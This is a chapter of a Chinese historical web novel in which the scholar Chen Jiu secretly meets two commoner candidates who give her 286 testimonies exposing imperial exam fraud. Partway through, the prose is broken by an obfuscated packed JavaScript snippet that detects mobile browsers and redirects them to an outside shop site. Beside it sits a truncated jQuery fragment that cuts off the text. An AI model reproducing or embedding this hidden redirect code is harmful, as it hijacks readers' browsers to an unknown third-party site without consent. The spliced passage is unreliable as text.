文趣网 > 其他小说 > 大人,那草民的问题来了! > 66. 科举舞弊案
    萧砚之神色恍惚,嘿嘿傻笑两声,转头抱起酒坛大口灌酒,举止粗鄙,毫无皇家仪态。

    旁边扮作小厮的清溪也上前,一同搀扶“醉醺醺”的萧砚之。

    他微不可闻地低语:

    “主上,门外偷看的内侍已走,没有暗探了。”

    萧砚之缓缓收敛傻笑,慢慢放下酒坛,擦了擦手,接过管家恭敬呈上的圣旨。

    他展开圣旨看了又看,眼神逐渐幽深冷沉。

    清溪在旁边咽了咽口水:“主上,还有一事……刚有暗卫来报,陈九打晕两名看守和一个厨房管事,逃走了。”

    “要不要去追?属下发誓,一定把她抓回来。”

    晚风轻拂,不知名的虫儿在黑夜里自在鸣叫。

    萧砚之沉吟片刻,忽然好奇的问:“她是怎么逃出来的?”

    清溪一怔,露出几分哭笑不得的神色,将暗卫发现的狗洞一五一十汇报。

    听完后,萧砚之也似笑非笑。

    良久,他轻叹道:“罢了,既然她这么想去处理那桩科举舞弊案,那便先让她去吧。”

    更何况……他在心里鬼使神差的想,与其让她像一只淋了雨的小狗一样垂头丧气,倒不如张牙舞爪的样子更适合她。

    “是,主上。”清溪抿了抿唇,看了萧砚之一眼,问道:“那今天暗牢里关的那几个罪大恶极的刑犯,还送回大理寺死牢吗?”

    “送,还有行刑手,你和凌云也一并都全送回大理寺。再吩咐薛钊一声,让他多暗中照拂些陈九,别让她不明不白的轻易死了。”

    “另外,再告诉他,之前说的那件事,应该也快开始了。”萧砚之淡淡一笑。

    “是。”清溪心领神会地一笑,拱了拱手,“属下现在就去办。”

    随即,他转身提气,几个纵跃便找到了刚刚办事回来补觉的凌云。

    “哟~~,我的好兄弟,多日不见,想我想得大半夜跑来看我?”

    长相艳丽的凌云,在清溪刚一踏进屋子时就醒了。

    此刻,他正侧躺在床上,撑着头笑眯眯地看着清溪。

    清溪翻了个白眼,这个死孔雀。

    “小云,来活儿了。主上有令,要我们把暗牢里那批死囚、狱卒都送回大理寺。”

    “啊?我才刚回来啊!主上也太不怜惜人家家了~,呜呜呜……”,凌云顿时愁眉苦脸,一个后仰瘫倒在床上。

    他嘀嘀咕咕:“你说,主上也怪,他怎么就对姓陈的那小子那么上心呢?”

    “且不说咱们主上手底下谋士如云,就算是退一步讲,前年招募帝师周训文的时候,主上也是循循诱之,矜持、端着点架子。”

    “可也没见他执着到,又让攀峰亲自去天牢里游说人家,又要让你调大理寺死囚、狱卒来咱们这儿刑讯吓唬人家啊。”

    清溪见不得他这幅腿夹被子,满床乱滚的懒散样,一边嫌弃地给他翻衣柜找衣服,一边催他:

    “行了行了,你啊,就别胡思乱想了。主上就是咱们的天,他让做什么我们就做什么。主上对陈九那么上心,必有他的用意。”

    说罢,清溪将暗卫服抛给凌云:“快起来吧,干活儿了!”

    ……

    一城月光,两处风云。

    陈九已经换上一身寻常的青布便装。

    她压低身形,避开巡夜兵丁,直到确定身后没有眼线,才悄无声息地朝外城而去。

    她手里拿着一张精细的街巷草图,上面标注着一栋隐蔽的民宅。

    四下无人,夜风猎猎。不过半柱香的时间,陈九便找到了位置。

    她抬起手,按约定轻轻叩了四下木门。

    院内瞬间传来细碎动静,下一秒,木门拉开一条细缝。

    陈九不待对方开口,便拿出一枚特制的联络信物。

    对方一愣,随即眼里的警惕褪去,露出希望的光亮。

    “您就是谭先生说的陈九,陈先生吗?”

    陈九微微颔首:“是我。”

    “我来了。”

    短短三个字,落在门内两人耳中,胜过了千言万语。

    这些时日,他们隐姓埋名、东躲西藏,顶着株连满门的风险四处搜寻证词,无时无刻不担心被抓捕、被灭口。

    可是,比起死,他们更担心的是真相永远被掩埋,所有同窗的冤屈终再无人可诉。

    他们唯一的支撑,就是前几日京兆府的谭庆谭师爷告诉他们的那一句:

    “会有一个名叫陈九的人找你们。她会为你们讨一个公道。”

    当时,两人心中便对这位陈九敬佩、憧憬万分,渴望能早日与她一见。

    沈光奎双手微微发颤,连忙彻底拉开木门,侧身躬身礼让:

    “陈先生快请进!”

    牟道义则即刻探出身,快速扫视前后巷陌,确认四周空无一人后,才反手把木门锁紧,又找了一根粗横木斜放,抵死木门。

    小屋里烛火昏暗,轻轻摇曳,照亮了三人凝重的眉眼。

    沈光奎望着眼前一身素衣、面容秀气的少年,眼里难掩激动的泪光。

    他的嗓音喜悦中带着颤抖:“陈先生,您总算来了。”

    “自从贡院事起,我们的同窗要么被抓捕,要么逃窜、四散飘零。我和牟兄日日搜证,提心吊胆。您要是再不来的话,我们真的就快要撑不住了。”

    牟道义沉下气息,压下翻涌的心绪:

    “此地是外城里最乱的贫民区,鱼龙混杂,无人留意。这也是我们能找到的唯一稳妥的藏身之处了。”

    “但是,近日来针对春闱闹事士子的清剿愈演愈烈,街巷里的暗探层出不穷。我们也不知还能再躲几日。”

    陈九抬眸看向二人。

    两个年轻的寒门学子,眉目干净、气质正派,眼里却都熬满了红血丝,衣衫也洗得发白,衣角还沾着灰尘。

    可见这段时间里,他们过的颠沛、隐忍,步步惊心。

    这世间的权斗博弈里,最难得的,从来就不是什么高位者的顺水推舟,而是小人物们以微薄之躯,敢逆滔天权势,死守一寸真相与公道!

    陈九语气温和:“两位先生辛苦了。”

    “满朝噤声、权贵遮天的时候,你们敢为了洗刷士林冤屈,冒着株连灭门之祸,四处奔走、收拢证词。”

    “仅凭这一点,你们便胜过无数人。”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17597824|203688||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    短短的一句认可,话音温柔却好像有着千钧之力。

    两人连日紧绷的心神松动,眼眶泛红,鼻尖酸楚。

    牟道义深吸一口气,压下激荡的心绪。

    他站起身,快步走向屋内的木桌,蹲下身,郑重地从桌板下面撕下一叠厚厚装订整齐的纸册。

    “陈先生,科场舞弊的证据,尽数在此。”

    他双手捧起卷宗,躬身呈上:

    “我与光奎连日奔走京畿,探访各个隐匿的春闱举子,再加上我们两人,一共收拢、整理好了二百八十六名落榜寒门士子的亲笔证词。”

    “册中,我们逐条记录了考题外泄的痕迹、考官阅卷双标、考场侍卫针对性打压寒门学子的事例。”

    “还有权贵考生们待遇优厚、名次反常的全部细节。这都是大家的真实经历,保证件件属实。”

    陈九接过纸册,只见一张张纸页新旧交错。每一页上都写满了字迹工整、完整详细的科考事宜。

    其中,许多纸张的边角已经被反复翻看,摩擦得起了毛边。

    沈光奎上前一步,眉眼含怒:“本届春闱最诡异之处,还是那新科状元魏毅然!”

    “此人平日里才疏学浅,数次岁试都名次垫底,根本就没有夺魁的能力。”

    “可是这次春闱科考,他却文冠群雄,状元及第。这么短的时间内,他绝不可能进步如此神速。可见这次考试,绝非他本人的真实水准!”

    牟道义点了点头:“对!真正当之无愧、才学出众的,是姜劲庸姜兄!”

    “可是姜兄考完试不但莫名落榜、无故遭拘,如今还被单独打入了大理寺重狱。那里重兵隔绝、严禁探视。我怀疑,分明是有人想断了线索,意图杀人灭口!”

    陈九没有告诉他们,她曾在大理寺天牢里有一晚遇到了姜劲庸和数名考生。

    回忆着他们的音容笑貌,抚摸着纸册上密密麻麻的字迹,她的心沉入谷底,却又灼灼发烫。

    她明白,这不仅仅是一卷普通的文书。

    这是二百八十六位寒门士子十年寒窗的不甘。

    是姜劲庸等还被关在天牢里的士子们活命的希望。

    是被权贵肆意践踏的公道,是这届春闱被遮蔽的真相。

    更是她朝堂亮剑、逆势破局时,最锋利的一把铁刃。

    她抬眸:“好,从今夜起,你们就彻底蛰伏起来吧。”

    “尽量要闭门不出、斩断与外界的联系,不要再奔走打探了。因为越是临近结案,对方越会大力清剿。”

    “所以,你们只有低调安静,才能保证安全。”

    “至于这份证词,我们三人现在再誊写一份。之后,我拿走一份,你们留着一份。你们务必要封存好底稿,死守不漏。这样,便是大功一件。”

    二人立刻郑重拱手:“我等谨遵先生吩咐!”

    沈光奎犹豫了一下:“陈先生,我们留着这些纸册,是要去敲鼓鸣冤,揭发舞弊之人吗?”

    “不,其实他们已经为自己掘好了坟墓。我们只要帮他们,把棺材盖儿盖上就行了。”陈九笑着摇了摇头。

    牟道义好奇道:“不知先生此话何解?”